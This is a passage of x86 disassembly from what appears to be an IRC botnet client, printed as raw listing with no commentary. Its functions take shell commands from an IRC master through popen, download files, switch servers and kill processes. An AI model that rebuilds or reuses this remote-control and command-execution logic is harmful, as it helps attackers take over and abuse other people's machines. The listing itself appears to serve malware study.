- 080495cc: addl $0x1,-0x20(%ebp)
- 080495d0: mov -0x20(%ebp),%eax
- 080495d3: cmp -0x10(%ebp),%eax
- 080495d6: jl 0x08049572 <get+0x2d2>
- 080495d8: jmp 0x08049523 <get+0x283>
- 080495dd: mov 0x14(%ebp),%eax
- 080495e0: add $0x8,%eax
- 080495e3: mov (%eax),%eax
- 080495e5: mov 0x804c9a0,%edx
- 080495eb: mov %eax,0xc(%esp)
- 080495ef: mov %edx,0x8(%esp)
- 080495f3: movl $0x804ab85,0x4(%esp)
- 080495fb: mov 0x8(%ebp),%eax
- 080495fe: mov %eax,(%esp)
- 08049601: call 0x08048fc0 <send_msg>
- 08049606: movl $0x0,0xc(%esp)
- 0804960e: movl $0x1000,0x8(%esp)
- 08049616: lea -0x1438(%ebp),%eax
- 0804961c: mov %eax,0x4(%esp)
- 08049620: mov -0x28(%ebp),%eax
- 08049623: mov %eax,(%esp)
- 08049626: call 0x08048bd4 <recv@plt>
- 0804962b: mov %eax,-0xc(%ebp)
- 0804962e: cmpl $0x0,-0xc(%ebp)
- 08049632: jle 0x0804967c <get+0x3dc>
- 08049634: cmpl $0xfff,-0xc(%ebp)
- 0804963b: jg 0x08049648 <get+0x3a8>
- 0804963d: mov -0xc(%ebp),%eax
- 08049640: movb $0x0,-0x1438(%ebp,%eax,1)
- 08049648: movl $0x0,-0x8(%ebp)
- 0804964f: jmp 0x08049672 <get+0x3d2>
- 08049651: mov -0x8(%ebp),%eax
- 08049654: movzbl -0x1438(%ebp,%eax,1),%eax
- 0804965c: movzbl %al,%edx
- 0804965f: mov -0x18(%ebp),%eax
- 08049662: mov %eax,0x4(%esp)
- 08049666: mov %edx,(%esp)
- 08049669: call 0x08048a64 <fputc@plt>
- 0804966e: addl $0x1,-0x8(%ebp)
- 08049672: mov -0x8(%ebp),%eax
- 08049675: cmp -0xc(%ebp),%eax
- 08049678: jl 0x08049651 <get+0x3b1>
- 0804967a: jmp 0x08049606 <get+0x366>
- 0804967c: mov -0x18(%ebp),%eax
- 0804967f: mov %eax,(%esp)
- 08049682: call 0x08048b24 <fclose@plt>
- 08049687: mov -0x28(%ebp),%eax
- 0804968a: mov %eax,(%esp)
- 0804968d: call 0x08048b54 <close@plt>
- 08049692: movl $0x0,(%esp)
- 08049699: call 0x08048cb4 <exit@plt>
- 0804969e: add $0x1454,%esp
- 080496a4: pop %ebx
- 080496a5: pop %ebp
- 080496a6: ret
- 080496a7: mov %esi,%esi
- 080496a9: lea 0x0(%edi),%edi
- # 080496b0 <nickc>:
- 080496b0: push %ebp
- 080496b1: mov %esp,%ebp
- 080496b3: sub $0x18,%esp
- 080496b6: cmpl $0x1,0x10(%ebp)
- 080496ba: je 0x080496d8 <nickc+0x28>
- 080496bc: mov 0xc(%ebp),%eax
- 080496bf: mov %eax,0x8(%esp)
- 080496c3: movl $0x804ab9e,0x4(%esp)
- 080496cb: mov 0x8(%ebp),%eax
- 080496ce: mov %eax,(%esp)
- 080496d1: call 0x08048fc0 <send_msg>
- 080496d6: jmp 0x08049728 <nickc+0x78>
- 080496d8: mov 0x14(%ebp),%eax
- 080496db: add $0x4,%eax
- 080496de: mov (%eax),%eax
- 080496e0: mov %eax,(%esp)
- 080496e3: call 0x08048b84 <strlen@plt>
- 080496e8: cmp $0x9,%eax
- 080496eb: jbe 0x08049709 <nickc+0x59>
- 080496ed: mov 0xc(%ebp),%eax
- 080496f0: mov %eax,0x8(%esp)
- 080496f4: movl $0x804abb8,0x4(%esp)
- 080496fc: mov 0x8(%ebp),%eax
- 080496ff: mov %eax,(%esp)
- 08049702: call 0x08048fc0 <send_msg>
- 08049707: jmp 0x08049728 <nickc+0x78>
- 08049709: mov 0x14(%ebp),%eax
- 0804970c: add $0x4,%eax
- 0804970f: mov (%eax),%eax
- 08049711: mov %eax,0x8(%esp)
- 08049715: movl $0x804abee,0x4(%esp)
- 0804971d: mov 0x8(%ebp),%eax
- 08049720: mov %eax,(%esp)
- 08049723: call 0x08048fc0 <send_msg>
- 08049728: leave
- 08049729: ret
- 0804972a: lea 0x0(%esi),%esi
- # 08049730 <host2ip>:
- 08049730: push %ebp
- 08049731: mov %esp,%ebp
- 08049733: sub $0x28,%esp
- 08049736: mov 0xc(%ebp),%eax
- 08049739: mov %eax,(%esp)
- 0804973c: call 0x08048a94 <__inet_addr@plt>
- 08049741: mov %eax,0x804c740
- 08049746: mov 0x804c740,%eax
- 0804974b: cmp $0xffffffff,%eax
- 0804974e: jne 0x080497b7 <host2ip+0x87>
- 08049750: mov 0xc(%ebp),%eax
- 08049753: mov %eax,(%esp)
- 08049756: call 0x08048c14 <gethostbyname@plt>
- 0804975b: mov %eax,-0x4(%ebp)
- 0804975e: cmpl $0x0,-0x4(%ebp)
- 08049762: jne 0x08049793 <host2ip+0x63>
- 08049764: mov 0x804c760,%eax
- 08049769: mov 0xc(%ebp),%edx
- 0804976c: mov %edx,0xc(%esp)
- 08049770: mov 0x8(%ebp),%edx
- 08049773: mov %edx,0x8(%esp)
- 08049777: movl $0x804abf8,0x4(%esp)
- 0804977f: mov %eax,(%esp)
- 08049782: call 0x08048fc0 <send_msg>
- 08049787: movl $0x0,(%esp)
- 0804978e: call 0x08048cb4 <exit@plt>
- 08049793: mov -0x4(%ebp),%eax
- 08049796: mov 0xc(%eax),%eax
- 08049799: mov %eax,%edx
- 0804979b: mov -0x4(%ebp),%eax
- 0804979e: mov 0x10(%eax),%eax
- 080497a1: mov (%eax),%eax
- 080497a3: mov %edx,0x8(%esp)
- 080497a7: movl $0x804c740,0x4(%esp)
- 080497af: mov %eax,(%esp)
- 080497b2: call 0x08048c44 <bcopy@plt>
- 080497b7: mov 0x804c740,%eax
- 080497bc: leave
- 080497bd: ret
- 080497be: xchg %ax,%ax
- # 080497c0 <move>:
- 080497c0: push %ebp
- 080497c1: mov %esp,%ebp
- 080497c3: sub $0x18,%esp
- 080497c6: cmpl $0x0,0x10(%ebp)
- 080497ca: jg 0x080497f2 <move+0x32>
- 080497cc: mov 0xc(%ebp),%eax
- 080497cf: mov %eax,0x8(%esp)
- 080497d3: movl $0x804ac1a,0x4(%esp)
- 080497db: mov 0x8(%ebp),%eax
- 080497de: mov %eax,(%esp)
- 080497e1: call 0x08048fc0 <send_msg>
- 080497e6: movl $0x1,(%esp)
- 080497ed: call 0x08048cb4 <exit@plt>
- 080497f2: mov 0x14(%ebp),%eax
- 080497f5: add $0x4,%eax
- 080497f8: mov (%eax),%eax
- 080497fa: mov %eax,(%esp)
- 080497fd: call 0x08048b34 <strdup@plt>
- 08049802: mov %eax,0x804c888
- 08049807: movl $0x1,0x804c320
- 08049811: mov 0x8(%ebp),%eax
- 08049814: mov %eax,(%esp)
- 08049817: call 0x08048b54 <close@plt>
- 0804981c: leave
- 0804981d: ret
- 0804981e: xchg %ax,%ax
- # 08049820 <killd>:
- 08049820: push %ebp
- 08049821: mov %esp,%ebp
- 08049823: sub $0x8,%esp
- 08049826: movl $0x9,0x4(%esp)
- 0804982e: movl $0x0,(%esp)
- 08049835: call 0x08048cc4 <kill@plt>
- 0804983a: leave
- 0804983b: ret
- 0804983c: lea 0x0(%esi),%esi
- # 08049840 <help>:
- 08049840: push %ebp
- 08049841: mov %esp,%ebp
- 08049843: sub $0x18,%esp
- 08049846: mov 0xc(%ebp),%eax
- 08049849: mov %eax,(%esp)
- 0804984c: call 0x08049010 <mfork>
- 08049851: test %eax,%eax
- 08049853: jne 0x0804991b <help+0xdb>
- 08049859: mov 0xc(%ebp),%eax
- 0804985c: mov %eax,0x8(%esp)
- 08049860: movl $0x804ac38,0x4(%esp)
- 08049868: mov 0x8(%ebp),%eax
- 0804986b: mov %eax,(%esp)
- 0804986e: call 0x08048fc0 <send_msg>
- 08049873: mov 0xc(%ebp),%eax
- 08049876: mov %eax,0x8(%esp)
- 0804987a: movl $0x804ac98,0x4(%esp)
- 08049882: mov 0x8(%ebp),%eax
- 08049885: mov %eax,(%esp)
- 08049888: call 0x08048fc0 <send_msg>
- 0804988d: mov 0xc(%ebp),%eax
- 08049890: mov %eax,0x8(%esp)
- 08049894: movl $0x804ace8,0x4(%esp)
- 0804989c: mov 0x8(%ebp),%eax
- 0804989f: mov %eax,(%esp)
- 080498a2: call 0x08048fc0 <send_msg>
- 080498a7: mov 0xc(%ebp),%eax
- 080498aa: mov %eax,0x8(%esp)
- 080498ae: movl $0x804ad38,0x4(%esp)
- 080498b6: mov 0x8(%ebp),%eax
- 080498b9: mov %eax,(%esp)
- 080498bc: call 0x08048fc0 <send_msg>
- 080498c1: mov 0xc(%ebp),%eax
- 080498c4: mov %eax,0x8(%esp)
- 080498c8: movl $0x804adb0,0x4(%esp)
- 080498d0: mov 0x8(%ebp),%eax
- 080498d3: mov %eax,(%esp)
- 080498d6: call 0x08048fc0 <send_msg>
- 080498db: mov 0xc(%ebp),%eax
- 080498de: mov %eax,0x8(%esp)
- 080498e2: movl $0x804ae00,0x4(%esp)
- 080498ea: mov 0x8(%ebp),%eax
- 080498ed: mov %eax,(%esp)
- 080498f0: call 0x08048fc0 <send_msg>
- 080498f5: mov 0xc(%ebp),%eax
- 080498f8: mov %eax,0x8(%esp)
- 080498fc: movl $0x804ae64,0x4(%esp)
- 08049904: mov 0x8(%ebp),%eax
- 08049907: mov %eax,(%esp)
- 0804990a: call 0x08048fc0 <send_msg>
- 0804990f: movl $0x0,(%esp)
- 08049916: call 0x08048cb4 <exit@plt>
- 0804991b: leave
- 0804991c: ret
- 0804991d: lea 0x0(%esi),%esi
- # 08049920 <_PRIVMSG>:
- 08049920: push %ebp
- 08049921: mov %esp,%ebp
- 08049923: push %ebx
- 08049924: sub $0x864,%esp
- 0804992a: movl $0x0,-0x1c(%ebp)
- 08049931: jmp 0x08049937 <_PRIVMSG+0x17>
- 08049933: addl $0x1,-0x1c(%ebp)
- 08049937: mov -0x1c(%ebp),%ebx
- 0804993a: mov 0x10(%ebp),%eax
- 0804993d: mov %eax,(%esp)
- 08049940: call 0x08048b84 <strlen@plt>
- 08049945: cmp %eax,%ebx
- 08049947: jae 0x08049956 <_PRIVMSG+0x36>
- 08049949: mov -0x1c(%ebp),%eax
- 0804994c: add 0x10(%ebp),%eax
- 0804994f: movzbl (%eax),%eax
- 08049952: cmp $0x20,%al
- 08049954: jne 0x08049933 <_PRIVMSG+0x13>
- 08049956: mov -0x1c(%ebp),%eax
- 08049959: add 0x10(%ebp),%eax
- 0804995c: movb $0x0,(%eax)
- 0804995f: mov 0x10(%ebp),%eax
- 08049962: mov %eax,-0x18(%ebp)
- 08049965: mov -0x1c(%ebp),%eax
- 08049968: add 0x10(%ebp),%eax
- 0804996b: add $0x2,%eax
- 0804996e: mov %eax,-0x14(%ebp)
- 08049971: movl $0x0,-0x1c(%ebp)
- 08049978: jmp 0x0804997e <_PRIVMSG+0x5e>
- 0804997a: addl $0x1,-0x1c(%ebp)
- 0804997e: mov -0x1c(%ebp),%ebx
- 08049981: mov 0xc(%ebp),%eax
- 08049984: mov %eax,(%esp)
- 08049987: call 0x08048b84 <strlen@plt>
- 0804998c: cmp %eax,%ebx
- 0804998e: jae 0x0804999d <_PRIVMSG+0x7d>
- 08049990: mov -0x1c(%ebp),%eax
- 08049993: add 0xc(%ebp),%eax
- 08049996: movzbl (%eax),%eax
- 08049999: cmp $0x21,%al
- 0804999b: jne 0x0804997a <_PRIVMSG+0x5a>
- 0804999d: mov -0x1c(%ebp),%eax
- 080499a0: add 0xc(%ebp),%eax
- 080499a3: movb $0x0,(%eax)
- 080499a6: mov -0x14(%ebp),%eax
- 080499a9: movzbl (%eax),%eax
- 080499ac: cmp $0x21,%al
- 080499ae: jne 0x08049dbe <_PRIVMSG+0x49e>
- 080499b4: mov 0x804c9a0,%eax
- 080499b9: mov %eax,0x4(%esp)
- 080499bd: mov -0x18(%ebp),%eax
- 080499c0: mov %eax,(%esp)
- 080499c3: call 0x08048bf4 <strcasecmp@plt>
- 080499c8: test %eax,%eax
- 080499ca: jne 0x08049dbe <_PRIVMSG+0x49e>
- 080499d0: lea -0x44c(%ebp),%edx
- 080499d6: mov $0x400,%eax
- 080499db: mov %eax,0x8(%esp)
- 080499df: movl $0x0,0x4(%esp)
- 080499e7: mov %edx,(%esp)
- 080499ea: call 0x08048c94 <memset@plt>
- 080499ef: movl $0x0,-0x10(%ebp)
- 080499f6: addl $0x1,-0x14(%ebp)
- 080499fa: movl $0x0,-0x1c(%ebp)
- 08049a01: jmp 0x08049a07 <_PRIVMSG+0xe7>
- 08049a03: addl $0x1,-0x1c(%ebp)
- 08049a07: mov -0x1c(%ebp),%ebx
- 08049a0a: mov -0x14(%ebp),%eax
- 08049a0d: mov %eax,(%esp)
- 08049a10: call 0x08048b84 <strlen@plt>
- 08049a15: cmp %eax,%ebx
- 08049a17: jae 0x08049a26 <_PRIVMSG+0x106>
- 08049a19: mov -0x1c(%ebp),%eax
- 08049a1c: add -0x14(%ebp),%eax
- 08049a1f: movzbl (%eax),%eax
- 08049a22: cmp $0x20,%al
- 08049a24: jne 0x08049a03 <_PRIVMSG+0xe3>
- 08049a26: mov -0x1c(%ebp),%eax
- 08049a29: add -0x14(%ebp),%eax
- 08049a2c: movb $0x0,(%eax)
- 08049a2f: mov 0x804c764,%eax
- 08049a34: mov %eax,0x4(%esp)
- 08049a38: mov -0x14(%ebp),%eax
- 08049a3b: mov %eax,(%esp)
- 08049a3e: call 0x08048e40 <strwildmatch>
- 08049a43: test %eax,%eax
- 08049a45: jne 0x08049dbe <_PRIVMSG+0x49e>
- 08049a4b: mov -0x14(%ebp),%edx
- 08049a4e: add $0x1,%edx
- 08049a51: mov -0x1c(%ebp),%eax
- 08049a54: lea (%edx,%eax,1),%eax
- 08049a57: mov %eax,-0x14(%ebp)
- 08049a5a: movl $0x4,0x8(%esp)
- 08049a62: movl $0x804aed0,0x4(%esp)
- 08049a6a: mov -0x14(%ebp),%eax
- 08049a6d: mov %eax,(%esp)
- 08049a70: call 0x08048ba4 <strncmp@plt>
- 08049a75: test %eax,%eax
- 08049a77: jne 0x08049a96 <_PRIVMSG+0x176>
- 08049a79: mov -0x14(%ebp),%eax
- 08049a7c: add $0x4,%eax
- 08049a7f: mov %eax,0x8(%esp)
- 08049a83: movl $0x804aed5,0x4(%esp)
- 08049a8b: mov 0x8(%ebp),%eax
- 08049a8e: mov %eax,(%esp)
- 08049a91: call 0x08048fc0 <send_msg>
- 08049a96: movl $0x3,0x8(%esp)
- 08049a9e: movl $0x804aed9,0x4(%esp)
- 08049aa6: mov -0x14(%ebp),%eax
- 08049aa9: mov %eax,(%esp)
- 08049aac: call 0x08048ba4 <strncmp@plt>
- 08049ab1: test %eax,%eax
- 08049ab3: jne 0x08049bea <_PRIVMSG+0x2ca>
- 08049ab9: mov 0xc(%ebp),%eax
- 08049abc: mov %eax,(%esp)
- 08049abf: call 0x08049010 <mfork>
- 08049ac4: test %eax,%eax
- 08049ac6: jne 0x08049dbe <_PRIVMSG+0x49e>
- 08049acc: movl $0x400,0x8(%esp)
- 08049ad4: movl $0x0,0x4(%esp)
- 08049adc: lea -0x84c(%ebp),%eax
- 08049ae2: mov %eax,(%esp)
- 08049ae5: call 0x08048c94 <memset@plt>
- 08049aea: mov -0x14(%ebp),%eax
- 08049aed: add $0x3,%eax
- 08049af0: mov %eax,0x8(%esp)
- 08049af4: movl $0x804aee0,0x4(%esp)
- 08049afc: lea -0x84c(%ebp),%eax
- 08049b02: mov %eax,(%esp)
- 08049b05: call 0x08048b44 <sprintf@plt>
- 08049b0a: movl $0x804af1c,0x4(%esp)
- 08049b12: lea -0x84c(%ebp),%eax
- 08049b18: mov %eax,(%esp)
- 08049b1b: call 0x08048b74 <popen@plt>
- 08049b20: mov %eax,-0x8(%ebp)
- 08049b23: jmp 0x08049b93 <_PRIVMSG+0x273>
- 08049b25: movl $0x400,0x8(%esp)
- 08049b2d: movl $0x0,0x4(%esp)
- 08049b35: lea -0x84c(%ebp),%eax
- 08049b3b: mov %eax,(%esp)
- 08049b3e: call 0x08048c94 <memset@plt>
- 08049b43: mov -0x8(%ebp),%eax
- 08049b46: mov %eax,0x8(%esp)
- 08049b4a: movl $0x400,0x4(%esp)
- 08049b52: lea -0x84c(%ebp),%eax
- 08049b58: mov %eax,(%esp)
- 08049b5b: call 0x08048ab4 <fgets@plt>
- 08049b60: mov 0x804c9a0,%edx
- 08049b66: lea -0x84c(%ebp),%eax
- 08049b6c: mov %eax,0xc(%esp)
- 08049b70: mov %edx,0x8(%esp)
- 08049b74: movl $0x804af1e,0x4(%esp)
- 08049b7c: mov 0x8(%ebp),%eax
- 08049b7f: mov %eax,(%esp)
- 08049b82: call 0x08048fc0 <send_msg>
- 08049b87: movl $0x1,(%esp)
- 08049b8e: call 0x08048c54 <sleep@plt>
- 08049b93: mov 0x804c310,%eax
- 08049b98: test %eax,%eax
- 08049b9a: jne 0x08049bb2 <_PRIVMSG+0x292>
- 08049b9c: mov -0x8(%ebp),%eax
- 08049b9f: movzwl 0xc(%eax),%eax
- 08049ba3: cwtl
- 08049ba4: and $0x20,%eax
- 08049ba7: test %eax,%eax
- 08049ba9: sete -0x855(%ebp)
- 08049bb0: jmp 0x08049bc6 <_PRIVMSG+0x2a6>
- 08049bb2: mov -0x8(%ebp),%eax
- 08049bb5: mov %eax,(%esp)
- 08049bb8: call 0x08048bc4 <feof@plt>
- 08049bbd: test %eax,%eax
- 08049bbf: sete -0x855(%ebp)
- 08049bc6: cmpb $0x0,-0x855(%ebp)
- 08049bcd: jne 0x08049b25 <_PRIVMSG+0x205>
- 08049bd3: mov -0x8(%ebp),%eax
- 08049bd6: mov %eax,(%esp)
- 08049bd9: call 0x08048a54 <pclose@plt>
- 08049bde: movl $0x0,(%esp)
- 08049be5: call 0x08048cb4 <exit@plt>
- 08049bea: mov -0x14(%ebp),%eax
- 08049bed: mov %eax,(%esp)
- 08049bf0: call 0x08048b84 <strlen@plt>
- 08049bf5: mov %eax,-0xc(%ebp)
- 08049bf8: movl $0x0,-0x1c(%ebp)
- 08049bff: jmp 0x08049c2d <_PRIVMSG+0x30d>
- 08049c01: mov -0x14(%ebp),%eax
- 08049c04: movzbl (%eax),%eax
- 08049c07: cmp $0x20,%al
- 08049c09: je 0x08049c35 <_PRIVMSG+0x315>
- 08049c0b: mov -0x14(%ebp),%eax
- 08049c0e: movzbl (%eax),%eax
- 08049c11: test %al,%al
- 08049c13: je 0x08049c35 <_PRIVMSG+0x315>
- 08049c15: mov -0x1c(%ebp),%eax
- 08049c18: mov -0x14(%ebp),%edx
- 08049c1b: movzbl (%edx),%edx
- 08049c1e: mov %dl,-0x44c(%ebp,%eax,1)
- 08049c25: addl $0x1,-0x14(%ebp)
- 08049c29: addl $0x1,-0x1c(%ebp)
- 08049c2d: mov -0x1c(%ebp),%eax
- 08049c30: cmp -0xc(%ebp),%eax
- 08049c33: jl 0x08049c01 <_PRIVMSG+0x2e1>
- 08049c35: movl $0x0,-0x1c(%ebp)
- 08049c3c: jmp 0x08049c53 <_PRIVMSG+0x333>
- 08049c3e: mov -0x1c(%ebp),%eax
- 08049c41: add -0x14(%ebp),%eax
- 08049c44: movzbl (%eax),%eax
- 08049c47: cmp $0x20,%al
- 08049c49: jne 0x08049c4f <_PRIVMSG+0x32f>
- 08049c4b: addl $0x1,-0x10(%ebp)
- 08049c4f: addl $0x1,-0x1c(%ebp)
- 08049c53: mov -0x1c(%ebp),%ebx
- 08049c56: mov -0x14(%ebp),%eax
- 08049c59: mov %eax,(%esp)
- 08049c5c: call 0x08048b84 <strlen@plt>
- 08049c61: cmp %eax,%ebx
- 08049c63: jb 0x08049c3e <_PRIVMSG+0x31e>
- 08049c65: addl $0x1,-0x10(%ebp)
- 08049c69: cmpl $0xa,-0x10(%ebp)
- 08049c6d: jle 0x08049c76 <_PRIVMSG+0x356>
- 08049c6f: movl $0xa,-0x10(%ebp)
- 08049c76: lea -0x44c(%ebp),%eax
- 08049c7c: mov %eax,-0x4c(%ebp)
- 08049c7f: mov -0x10(%ebp),%eax
- 08049c82: add $0x1,%eax
- 08049c85: movl $0x804af2e,-0x4c(%ebp,%eax,4)
- 08049c8d: movl $0x1,-0xc(%ebp)
- 08049c94: jmp 0x08049d21 <_PRIVMSG+0x401>
- 08049c99: addl $0x1,-0x14(%ebp)
- 08049c9d: mov -0xc(%ebp),%eax
- 08049ca0: cmp -0x10(%ebp),%eax
- 08049ca3: jge 0x08049d2f <_PRIVMSG+0x40f>
- 08049ca9: movl $0x0,-0x1c(%ebp)
- 08049cb0: jmp 0x08049cb6 <_PRIVMSG+0x396>
- 08049cb2: addl $0x1,-0x1c(%ebp)
- 08049cb6: mov -0x1c(%ebp),%ebx
- 08049cb9: mov -0x14(%ebp),%eax
- 08049cbc: mov %eax,(%esp)
- 08049cbf: call 0x08048b84 <strlen@plt>
- 08049cc4: cmp %eax,%ebx
- 08049cc6: jae 0x08049cd5 <_PRIVMSG+0x3b5>
- 08049cc8: mov -0x1c(%ebp),%eax
- 08049ccb: add -0x14(%ebp),%eax
- 08049cce: movzbl (%eax),%eax
- 08049cd1: cmp $0x20,%al
- 08049cd3: jne 0x08049cb2 <_PRIVMSG+0x392>
- 08049cd5: mov -0xc(%ebp),%ebx
- 08049cd8: mov -0x1c(%ebp),%eax
- 08049cdb: add $0x1,%eax
- 08049cde: mov %eax,(%esp)
- 08049ce1: call 0x08048a24 <malloc@plt>
- 08049ce6: mov %eax,-0x4c(%ebp,%ebx,4)
- 08049cea: mov -0x1c(%ebp),%edx
- 08049ced: mov -0xc(%ebp),%eax
- 08049cf0: mov -0x4c(%ebp,%eax,4),%ecx
- 08049cf4: mov %edx,0x8(%esp)
- 08049cf8: mov -0x14(%ebp),%eax
- 08049cfb: mov %eax,0x4(%esp)
- 08049cff: mov %ecx,(%esp)
- 08049d02: call 0x08048c24 <strncpy@plt>
- 08049d07: mov -0xc(%ebp),%eax
- 08049d0a: mov -0x4c(%ebp,%eax,4),%edx
- 08049d0e: mov -0x1c(%ebp),%eax
- 08049d11: lea (%edx,%eax,1),%eax
- 08049d14: movb $0x0,(%eax)
- 08049d17: addl $0x1,-0xc(%ebp)
- 08049d1b: mov -0x1c(%ebp),%eax
- 08049d1e: add %eax,-0x14(%ebp)
- 08049d21: mov -0x14(%ebp),%eax
- 08049d24: movzbl (%eax),%eax
- 08049d27: test %al,%al
- 08049d29: jne 0x08049c99 <_PRIVMSG+0x379>
- 08049d2f: movl $0x0,-0xc(%ebp)
- 08049d36: jmp 0x08049dac <_PRIVMSG+0x48c>
- 08049d38: mov -0xc(%ebp),%eax
- 08049d3b: mov 0x804c280(,%eax,8),%edx
- 08049d42: lea -0x44c(%ebp),%eax
- 08049d48: mov %eax,0x4(%esp)
- 08049d4c: mov %edx,(%esp)
- 08049d4f: call 0x08048bf4 <strcasecmp@plt>
- 08049d54: test %eax,%eax
- 08049d56: jne 0x08049da8 <_PRIVMSG+0x488>
- 08049d58: mov -0xc(%ebp),%eax
- 08049d5b: mov 0x804c284(,%eax,8),%ecx
- 08049d62: mov -0x10(%ebp),%edx
- 08049d65: sub $0x1,%edx
- 08049d68: lea -0x4c(%ebp),%eax
- 08049d6b: mov %eax,0xc(%esp)
- 08049d6f: mov %edx,0x8(%esp)
- 08049d73: mov 0xc(%ebp),%eax
- 08049d76: mov %eax,0x4(%esp)
- 08049d7a: mov 0x8(%ebp),%eax
- 08049d7d: mov %eax,(%esp)
- 08049d80: call *%ecx
- 08049d82: movl $0x1,-0x1c(%ebp)
- 08049d89: jmp 0x08049d9e <_PRIVMSG+0x47e>
- 08049d8b: mov -0x1c(%ebp),%eax
- 08049d8e: mov -0x4c(%ebp,%eax,4),%eax
- 08049d92: mov %eax,(%esp)
- 08049d95: call 0x08048d04 <free@plt>
- 08049d9a: addl $0x1,-0x1c(%ebp)
- 08049d9e: mov -0x1c(%ebp),%eax
- 08049da1: cmp -0x10(%ebp),%eax
- 08049da4: jl 0x08049d8b <_PRIVMSG+0x46b>
- 08049da6: jmp 0x08049dbe <_PRIVMSG+0x49e>
- 08049da8: addl $0x1,-0xc(%ebp)
- 08049dac: mov -0xc(%ebp),%eax
- 08049daf: mov 0x804c280(,%eax,8),%eax
- 08049db6: test %eax,%eax
- 08049db8: jne 0x08049d38 <_PRIVMSG+0x418>
- 08049dbe: add $0x864,%esp
- 08049dc4: pop %ebx
- 08049dc5: pop %ebp
- 08049dc6: ret
- 08049dc7: mov %esi,%esi
- 08049dc9: lea 0x0(%edi),%edi
- # 08049dd0 <_376>:
- 08049dd0: push %ebp
- 08049dd1: mov %esp,%ebp
- 08049dd3: sub $0x18,%esp
- 08049dd6: mov 0x804c764,%eax
- 08049ddb: mov %eax,0x8(%esp)
- 08049ddf: movl $0x804af30,0x4(%esp)
- 08049de7: mov 0x8(%ebp),%eax
- 08049dea: mov %eax,(%esp)
- 08049ded: call 0x08048fc0 <send_msg>
- 08049df2: mov 0x804c880,%eax
- 08049df7: mov 0x804c9a0,%edx
- 08049dfd: mov %eax,0xc(%esp)
- 08049e01: mov %edx,0x8(%esp)
- 08049e05: movl $0x804af3d,0x4(%esp)
- 08049e0d: mov 0x8(%ebp),%eax
- 08049e10: mov %eax,(%esp)
- 08049e13: call 0x08048fc0 <send_msg>
- 08049e18: mov 0x804c764,%eax
- 08049e1d: mov %eax,0x8(%esp)
- 08049e21: movl $0x804af4a,0x4(%esp)
- 08049e29: mov 0x8(%ebp),%eax
- 08049e2c: mov %eax,(%esp)
- 08049e2f: call 0x08048fc0 <send_msg>
- 08049e34: leave
- 08049e35: ret
- 08049e36: lea 0x0(%esi),%esi
- 08049e39: lea 0x0(%edi),%edi
- # 08049e40 <_PING>:
- 08049e40: push %ebp
- 08049e41: mov %esp,%ebp
- 08049e43: sub $0x18,%esp
- 08049e46: mov 0x10(%ebp),%eax
- 08049e49: mov %eax,0x8(%esp)
- 08049e4d: movl $0x804af52,0x4(%esp)
- 08049e55: mov 0x8(%ebp),%eax
- 08049e58: mov %eax,(%esp)
- 08049e5b: call 0x08048fc0 <send_msg>
- 08049e60: leave
- 08049e61: ret
- 08049e62: lea 0x0(%esi),%esi
- 08049e69: lea 0x0(%edi),%edi
- # 08049e70 <_352>:
- 08049e70: push %ebp
- 08049e71: mov %esp,%ebp
- 08049e73: push %ebx
- 08049e74: sub $0x34,%esp
- 08049e77: mov 0x10(%ebp),%eax
- 08049e7a: mov %eax,-0xc(%ebp)
- 08049e7d: movl $0x0,-0x14(%ebp)
- 08049e84: movl $0x0,-0x10(%ebp)
- 08049e8b: jmp 0x08049ecf <_352+0x5f>
- 08049e8d: addl $0x1,-0xc(%ebp)
- 08049e91: addl $0x1,-0x14(%ebp)
- 08049e95: mov -0x14(%ebp),%ebx
- 08049e98: mov 0x10(%ebp),%eax
- 08049e9b: mov %eax,(%esp)
- 08049e9e: call 0x08048b84 <strlen@plt>
- 08049ea3: cmp %eax,%ebx
- 08049ea5: jae 0x08049eb1 <_352+0x41>
- 08049ea7: mov -0xc(%ebp),%eax
- 08049eaa: movzbl (%eax),%eax
- 08049ead: cmp $0x20,%al
- 08049eaf: jne 0x08049e8d <_352+0x1d>
- 08049eb1: addl $0x1,-0xc(%ebp)
- 08049eb5: mov -0x14(%ebp),%ebx
- 08049eb8: mov 0x10(%ebp),%eax
- 08049ebb: mov %eax,(%esp)
- 08049ebe: call 0x08048b84 <strlen@plt>
- 08049ec3: cmp %eax,%ebx
- 08049ec5: je 0x0804a077 <_352+0x207>
- 08049ecb: addl $0x1,-0x10(%ebp)
- 08049ecf: cmpl $0x4,-0x10(%ebp)
- 08049ed3: jle 0x08049e95 <_352+0x25>
- 08049ed5: movl $0x0,-0x14(%ebp)
- 08049edc: jmp 0x08049ee2 <_352+0x72>
- 08049ede: addl $0x1,-0x14(%ebp)
- 08049ee2: mov -0x14(%ebp),%ebx
- 08049ee5: mov -0xc(%ebp),%eax
- 08049ee8: mov %eax,(%esp)
- 08049eeb: call 0x08048b84 <strlen@plt>
- 08049ef0: cmp %eax,%ebx
- 08049ef2: jae 0x08049f01 <_352+0x91>
- 08049ef4: mov -0x14(%ebp),%eax
- 08049ef7: add -0xc(%ebp),%eax
- 08049efa: movzbl (%eax),%eax
- 08049efd: cmp $0x20,%al
- 08049eff: jne 0x08049ede <_352+0x6e>
- 08049f01: mov -0x14(%ebp),%eax
- 08049f04: add -0xc(%ebp),%eax
- 08049f07: movb $0x0,(%eax)
- 08049f0a: mov 0x804c764,%eax
- 08049f0f: mov %eax,0x4(%esp)
- 08049f13: mov -0xc(%ebp),%eax
- 08049f16: mov %eax,(%esp)
- 08049f19: call 0x08048bf4 <strcasecmp@plt>
- 08049f1e: test %eax,%eax
- 08049f20: jne 0x0804a077 <_352+0x207>
- 08049f26: mov 0x804c328,%eax
- 08049f2b: test %eax,%eax
- 08049f2d: jne 0x0804a077 <_352+0x207>
- 08049f33: mov 0x10(%ebp),%eax
- 08049f36: mov %eax,-0xc(%ebp)
- 08049f39: movl $0x0,-0x14(%ebp)
- 08049f40: movl $0x0,-0x10(%ebp)
- 08049f47: jmp 0x08049f8b <_352+0x11b>
- 08049f49: addl $0x1,-0xc(%ebp)
- 08049f4d: addl $0x1,-0x14(%ebp)
- 08049f51: mov -0x14(%ebp),%ebx
- 08049f54: mov 0x10(%ebp),%eax
- 08049f57: mov %eax,(%esp)
- 08049f5a: call 0x08048b84 <strlen@plt>
- 08049f5f: cmp %eax,%ebx
- 08049f61: jae 0x08049f6d <_352+0xfd>
- 08049f63: mov -0xc(%ebp),%eax
- 08049f66: movzbl (%eax),%eax
- 08049f69: cmp $0x20,%al
- 08049f6b: jne 0x08049f49 <_352+0xd9>
- 08049f6d: addl $0x1,-0xc(%ebp)
